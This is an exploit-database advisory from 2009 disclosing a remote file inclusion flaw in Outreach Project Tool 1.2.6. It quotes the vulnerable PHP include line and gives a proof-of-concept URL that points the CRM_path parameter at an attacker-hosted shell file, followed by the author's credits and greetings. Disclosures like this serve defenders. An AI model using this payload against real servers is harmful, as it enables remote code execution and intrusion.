outreach project tool 1.2.6 - Remote File Inclusion

EDB-ID:

10218


Author:

cr4wl3r

Type:

webapps


Platform:

PHP

Date:

2009-11-24


   [ Discovered by cr4wl3r \ Indonesian Hacker ]

########################################################################
# OPT (Outreach Project Tool) <= 1.2.6 [CRM_path] Remote File Include Vulnerability
# Download Script      :  http://sourceforge.net/projects/outreach
# Dork                 :  "Adhan Handsome"  :D
########################################################################
#
# Vuln : ./OPT_1-2-7_MAX/opt/forums/Forum_Include/index.php (line 10)
#       <?php
#          include "$CRM_path/forums/Forum_Include/forum_admin.inc";
#       ?>
# PoC  :  http://server/[path]/forums/Forum_Include/index.php?CRM_path=http://[attacker]/shell.txt???
#
#
#
########################################################################
# Thx 2 : str0ke, opt!x hacker, xoron, irvian, cyberlog, basix,
#         dan seluruh orang yang membenciku dan menyayangiku [I Love U Full] :*
########################################################################

/##############################################\
#   all member at  sekuritionline.net          #
#   all member at  manadocoding.net            #
\##############################################/

# Contact Me : cr4wl3r[4t]linuxmail[dot]org

   [ Gorontalo / 2009 ]